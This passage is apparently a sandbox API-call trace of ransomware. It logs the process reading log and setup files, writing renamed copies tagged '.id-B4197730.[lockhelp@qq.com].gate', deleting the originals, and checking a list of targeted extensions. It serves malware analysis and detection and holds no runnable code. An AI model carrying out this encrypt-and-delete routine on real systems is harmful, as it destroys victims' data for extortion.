CloseHandle (hObject=0x398) returned 1 [0126.595] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0126.595] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0126.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.596] lstrlenW (lpString=".doc") returned 4 [0126.596] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0126.596] lstrlenW (lpString=".docx") returned 5 [0126.596] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0126.596] lstrlenW (lpString=".pdf") returned 4 [0126.596] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0126.596] lstrlenW (lpString=".xls") returned 4 [0126.596] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0126.596] lstrlenW (lpString=".xlsx") returned 5 [0126.596] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0126.596] lstrlenW (lpString=".ppt") returned 4 [0126.596] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0126.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.596] lstrlenW (lpString=".zip") returned 4 [0126.596] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0126.596] lstrlenW (lpString=".rar") returned 4 [0126.596] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0126.596] lstrlenW (lpString=".bz2") returned 4 [0126.596] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0126.596] lstrlenW (lpString=".7z") returned 3 [0126.596] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0126.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.597] lstrlenW (lpString=".dbf") returned 4 [0126.597] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0126.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.597] lstrlenW (lpString=".1cd") returned 4 [0126.597] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0126.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.597] lstrlenW (lpString=".jpg") returned 4 [0126.597] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0126.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.597] lstrlenW (lpString=".doc") returned 4 [0126.597] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0126.597] lstrlenW (lpString=".docx") returned 5 [0126.597] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0126.597] lstrlenW (lpString=".pdf") returned 4 [0126.597] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0126.597] lstrlenW (lpString=".xls") returned 4 [0126.597] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0126.597] lstrlenW (lpString=".xlsx") returned 5 [0126.597] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0126.597] lstrlenW (lpString=".ppt") returned 4 [0126.597] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0126.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.597] lstrlenW (lpString=".zip") returned 4 [0126.597] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0126.597] lstrlenW (lpString=".rar") returned 4 [0126.598] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0126.598] lstrlenW (lpString=".bz2") returned 4 [0126.598] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0126.598] lstrlenW (lpString=".7z") returned 3 [0126.598] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0126.598] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.598] lstrlenW (lpString=".dbf") returned 4 [0126.598] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0126.598] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.598] lstrlenW (lpString=".1cd") returned 4 [0126.598] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0126.598] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0126.598] lstrlenW (lpString=".jpg") returned 4 [0126.598] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0126.598] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0126.598] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55 [0126.598] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0126.679] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0126.679] CloseHandle (hObject=0x314) returned 1 [0126.679] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0126.679] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0126.679] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0126.679] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0126.679] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0126.679] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0126.740] GetLastError () returned 0x0 [0126.740] ReadFile (in: hFile=0x314, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0129.077] WriteFile (in: hFile=0x38c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0129.079] ReadFile (in: hFile=0x314, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0129.079] WriteFile (in: hFile=0x38c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x142, lpOverlapped=0x0) returned 1 [0129.080] SetEndOfFile (hFile=0x38c) returned 1 [0129.080] CloseHandle (hObject=0x38c) returned 1 [0129.082] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0129.082] SetEndOfFile (hFile=0x314) returned 1 [0129.084] CloseHandle (hObject=0x314) returned 1 [0129.084] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0129.084] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0129.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.084] lstrlenW (lpString=".doc") returned 4 [0129.084] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0129.084] lstrlenW (lpString=".docx") returned 5 [0129.085] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0129.085] lstrlenW (lpString=".pdf") returned 4 [0129.085] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0129.085] lstrlenW (lpString=".xls") returned 4 [0129.085] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0129.085] lstrlenW (lpString=".xlsx") returned 5 [0129.085] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0129.085] lstrlenW (lpString=".ppt") returned 4 [0129.085] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0129.085] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.085] lstrlenW (lpString=".zip") returned 4 [0129.085] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0129.085] lstrlenW (lpString=".rar") returned 4 [0129.085] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0129.085] lstrlenW (lpString=".bz2") returned 4 [0129.085] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0129.085] lstrlenW (lpString=".7z") returned 3 [0129.085] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0129.085] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.085] lstrlenW (lpString=".dbf") returned 4 [0129.085] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0129.085] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.085] lstrlenW (lpString=".1cd") returned 4 [0129.085] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0129.085] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.085] lstrlenW (lpString=".jpg") returned 4 [0129.085] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0129.086] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.086] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.086] lstrlenW (lpString=".doc") returned 4 [0129.086] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0129.086] lstrlenW (lpString=".docx") returned 5 [0129.086] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0129.086] lstrlenW (lpString=".pdf") returned 4 [0129.086] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0129.086] lstrlenW (lpString=".xls") returned 4 [0129.086] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0129.086] lstrlenW (lpString=".xlsx") returned 5 [0129.086] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0129.086] lstrlenW (lpString=".ppt") returned 4 [0129.086] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0129.086] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.086] lstrlenW (lpString=".zip") returned 4 [0129.086] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0129.086] lstrlenW (lpString=".rar") returned 4 [0129.086] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0129.086] lstrlenW (lpString=".bz2") returned 4 [0129.086] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0129.086] lstrlenW (lpString=".7z") returned 3 [0129.086] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0129.086] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.086] lstrlenW (lpString=".dbf") returned 4 [0129.086] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0129.086] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.086] lstrlenW (lpString=".1cd") returned 4 [0129.087] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0129.087] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0129.087] lstrlenW (lpString=".jpg") returned 4 [0129.087] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0129.087] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0129.087] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49 [0129.087] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0129.087] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0129.088] CloseHandle (hObject=0x314) returned 1 [0129.088] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0129.088] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0129.088] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0129.088] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0129.088] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0129.088] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0129.089] GetLastError () returned 0x0 [0129.089] ReadFile (in: hFile=0x314, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0129.723] WriteFile (in: hFile=0x38c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0129.725] ReadFile (in: hFile=0x314, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0129.725] WriteFile (in: hFile=0x38c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x136, lpOverlapped=0x0) returned 1 [0129.725] SetEndOfFile (hFile=0x38c) Thread: id = 18 os_tid = 0xc30 [0109.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3bf0048 [0109.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3c00050 [0109.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cce0 [0109.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x63d1e0 [0109.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cbf0 [0109.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3cf7020 [0109.634] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cad0 [0109.634] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60cad0, Size=0x20) returned 0x5eea70 [0109.634] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ca70 [0109.634] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60ca70, Size=0x20) returned 0x5ee9d0 [0109.634] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.634] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0109.634] Wow64DisableWow64FsRedirection (in: OldValue=0x312ff50 | out: OldValue=0x312ff50*=0x0) returned 1 [0109.634] lstrlenW (lpString="kernel32.dll") returned 12 [0109.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea70 | out: hHeap=0x5b0000) returned 1 [0109.635] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0109.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee9d0 | out: hHeap=0x5b0000) returned 1 [0109.635] Sleep (dwMilliseconds=0x64) [0109.831] Sleep (dwMilliseconds=0x64) [0110.274] lstrcmpiW (lpString1=".cmd", lpString2=".gate") returned -1 [0110.274] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0110.274] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.663] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=307) returned 1 [0110.663] CloseHandle (hObject=0x2c0) returned 1 [0110.663] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0110.663] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.663] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.663] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.663] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.663] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0110.664] GetLastError () returned 0x0 [0110.664] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x133, lpOverlapped=0x0) returned 1 [0110.674] WriteFile (in: hFile=0x320, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x140, lpOverlapped=0x0) returned 1 [0110.675] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.675] WriteFile (in: hFile=0x320, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xf6, lpOverlapped=0x0) returned 1 [0110.675] SetEndOfFile (hFile=0x320) returned 1 [0110.676] CloseHandle (hObject=0x320) returned 1 [0110.676] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.676] SetEndOfFile (hFile=0x2c0) returned 1 [0110.677] CloseHandle (hObject=0x2c0) returned 1 [0110.677] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0110.678] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0110.678] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.678] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.678] lstrlenW (lpString=".doc") returned 4 [0110.678] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0110.678] lstrlenW (lpString=".docx") returned 5 [0110.678] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0110.678] lstrlenW (lpString=".pdf") returned 4 [0110.678] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0110.678] lstrlenW (lpString=".xls") returned 4 [0110.678] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0110.678] lstrlenW (lpString=".xlsx") returned 5 [0110.678] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0110.678] lstrlenW (lpString=".ppt") returned 4 [0110.678] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0110.678] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.678] lstrlenW (lpString=".zip") returned 4 [0110.679] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0110.679] lstrlenW (lpString=".rar") returned 4 [0110.679] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0110.679] lstrlenW (lpString=".bz2") returned 4 [0110.679] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0110.679] lstrlenW (lpString=".7z") returned 3 [0110.679] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0110.679] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.679] lstrlenW (lpString=".dbf") returned 4 [0110.679] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0110.679] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.679] lstrlenW (lpString=".1cd") returned 4 [0110.679] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0110.679] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.679] lstrlenW (lpString=".jpg") returned 4 [0110.679] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0110.679] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.679] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.679] lstrlenW (lpString=".doc") returned 4 [0110.679] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0110.679] lstrlenW (lpString=".docx") returned 5 [0110.679] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0110.679] lstrlenW (lpString=".pdf") returned 4 [0110.679] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0110.679] lstrlenW (lpString=".xls") returned 4 [0110.679] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0110.679] lstrlenW (lpString=".xlsx") returned 5 [0110.679] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0110.679] lstrlenW (lpString=".ppt") returned 4 [0110.679] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0110.679] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.679] lstrlenW (lpString=".zip") returned 4 [0110.679] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0110.679] lstrlenW (lpString=".rar") returned 4 [0110.679] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0110.680] lstrlenW (lpString=".bz2") returned 4 [0110.680] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0110.680] lstrlenW (lpString=".7z") returned 3 [0110.680] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0110.680] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.680] lstrlenW (lpString=".dbf") returned 4 [0110.680] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0110.680] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.680] lstrlenW (lpString=".1cd") returned 4 [0110.680] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0110.680] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0110.680] lstrlenW (lpString=".jpg") returned 4 [0110.680] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0110.680] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.680] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.680] CreateFileW 